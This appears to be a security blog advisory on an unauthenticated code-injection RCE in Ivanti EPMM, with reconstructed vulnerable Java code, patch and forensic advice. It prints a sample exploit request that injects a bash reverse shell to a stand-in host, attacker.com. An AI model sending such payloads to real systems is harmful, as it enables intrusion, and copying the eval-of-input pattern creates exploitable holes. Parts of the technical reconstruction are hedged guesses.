Jan 30, 2026·7 min read·342 visits
Unauthenticated RCE in Ivanti EPMM (MobileIron). CVSS 9.8. Attackers send a specific packet, the server executes it as code, and they own your MDM. Patch immediately.
A critical unauthenticated Remote Code Execution (RCE) vulnerability in Ivanti Endpoint Manager Mobile (EPMM), formerly MobileIron Core. This flaw allows attackers to inject arbitrary code into the server without logging in, granting full system access. It is currently being actively exploited in the wild by ransomware groups and state-sponsored actors.
If you wanted to cripple a modern enterprise, where would you strike? The email server? The domain controller? Or perhaps the system that controls every single mobile device, tablet, and laptop in the fleet? Ivanti Endpoint Manager Mobile (EPMM), formerly known as MobileIron Core, is that system. It is the central nervous system for Mobile Device Management (MDM). It holds the power to wipe phones, push applications, intercept traffic via VPN profiles, and manage highly sensitive certificates.
Now, imagine leaving that system exposed to the internet with a door that doesn't even require a key. That is CVE-2026-1281. It is not just a bug; it is a catastrophe waiting to happen. Unauthenticated Remote Code Execution (RCE) means that anyone with a line of sight to your EPMM web interface can execute commands as the system user. No credentials, no phishing, no complexity. Just one HTTP request and they are root.
This vulnerability is particularly nasty because MDM solutions are, by design, trusted authorities. If an attacker compromises the EPMM server, they don't just compromise a server; they gain a trusted pivot point to push malware to thousands of endpoints. It's the ultimate supply chain attack, but the supply chain is your own infrastructure.
At its core, CVE-2026-1281 is a classic Code Injection vulnerability (CWE-94). In modern software development, we generally agree that taking user input and treating it as executable code is a bad idea. It's the digital equivalent of letting a stranger write their name on your guest list, but allowing them to use a flamethrower instead of a pen. Ivanti EPMM failed to validate user-supplied input before passing it to a component responsible for dynamic code generation or interpretation.
The specific failure lies in how the application processes web requests. The application accepts input—likely intended for device compliance checks or configuration parsing—and passes it to a sink that interprets the data. Because there is no sanitization, the interpreter doesn't see data; it sees instructions.
This isn't a memory corruption bug where we have to massage the heap or align stack frames. It is a logic flaw where the application simply trusts the attacker too much. The lack of authentication makes it trivial. Usually, dangerous administrative functions are hidden behind a login screen. Here, the vulnerability exists in a path accessible to the unwashed masses of the internet.
While the exact source code is proprietary, we can reconstruct the vulnerability pattern based on the patch analysis and the nature of CWE-94 in Java-based enterprise appliances. The flaw typically resides in a controller that handles dynamic queries or expressions. Consider a simplified vulnerable flow:
// VULNERABLE PSEUDO-CODE
@RequestMapping(value = "/api/v2/check_compliance", method = RequestMethod.POST)
public Response checkCompliance(@RequestBody String rule) {
// The developer assumes 'rule' is just a string like "version > 10"
// But they pass it to an expression evaluator
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("js");
try {
// DIRECT EXECUTION OF USER INPUT
engine.eval(rule);
} catch (ScriptException e) {
return Response.error("Invalid rule");
}
return Response.ok("Compliance checked");
}The patch likely introduces a rigorous validation layer or removes the dynamic evaluation entirely in favor of a static parser. The fix involves replacing the dynamic eval() capability with a strict whitelist or a safe parsing library that treats input exclusively as data.
The Patch Logic:
Ivanti's mitigation RPMs (ivanti-security-update-1761642...) essentially neuter this capability. They likely introduce a sanitization filter usually placed in the request processing pipeline to strip out dangerous characters or keywords (like Runtime, ProcessBuilder, or expression language delimiters) before the business logic ever sees them.
Exploitation of CVE-2026-1281 is trivially simple, which explains why CISA added it to the KEV catalog immediately. An attacker needs only to send a crafted HTTP POST request to the vulnerable endpoint. Since the vulnerability is unauthenticated, no session cookies or tokens are required.
A typical attack chain looks like this:
# Conceptual Exploit Payload
curl -k -X POST https://target-epmm.com/mifs/api/vulnerable_endpoint \
-H "Content-Type: application/json" \
-d '{
"rule": "java.lang.Runtime.getRuntime().exec(\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\")"
}'rule field, and passes it to the evaluator. The evaluator sees the Java commands and executes them.tomcat or root user on the appliance.From here, the attacker isn't just on a server; they are inside the management plane. They can dump the database to steal credentials for every connected mobile device, or deploy ransomware to the server itself, locking IT out of their own management tools.
The severity of this vulnerability cannot be overstated. With a CVSS score of 9.8, it is a 'drop everything and patch' situation. The immediate impact is total compromise of the EPMM appliance. However, the secondary impacts are far worse.
Data Exfiltration: EPMM databases contain massive amounts of PII, device identifiers (IMEI/UUID), and potentially stored credentials for enterprise resources (Wi-Fi, VPN, Exchange).
Lateral Movement: Because EPMM integrates with LDAP/AD and Certificate Authorities, compromising this box often yields credentials that allow lateral movement into the internal corporate network. Attackers are using this vulnerability right now (see CISA KEV) to deploy ransomware and establish persistence.
Device Compromise: In a worst-case scenario, an attacker could push a malicious configuration profile to managed devices, effectively turning every employee's phone into a listening device or a botnet node. This is not theoretical; state-sponsored actors target MDMs precisely for this level of access.
If you are running Ivanti EPMM versions 12.7.0.0 or older, you are vulnerable. There is no 'maybe'. You need to patch immediately. Ivanti has released RPM security updates that must be applied via the appliance's CLI or maintenance interface.
Immediate Steps:
ivanti-security-update-1761642-1.0.0S-5.noarch.rpm (or the L version depending on your specific build). Do not wait for a maintenance window next month. Do it now.Forensics:
Since this is actively exploited, patching is not enough. You must assume you are already breached. Check /var/log/httpd/ and application logs for strange POST requests. Look for new users in the database or unrecognized files in the webroot. If you find indicators of compromise, nuke the appliance and rebuild from a known clean backup. Do not trust a compromised MDM.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Ivanti Endpoint Manager Mobile (EPMM) Ivanti | <= 12.7.0.0 | RPM Update 1761642 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94 (Code Injection) |
| CVSS v3.1 | 9.8 (Critical) |
| Attack Vector | Network (Unauthenticated) |
| Impact | Remote Code Execution (RCE) |
| Exploit Status | Active Exploitation (CISA KEV) |
| EPSS | High (Assumed >90%) |
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.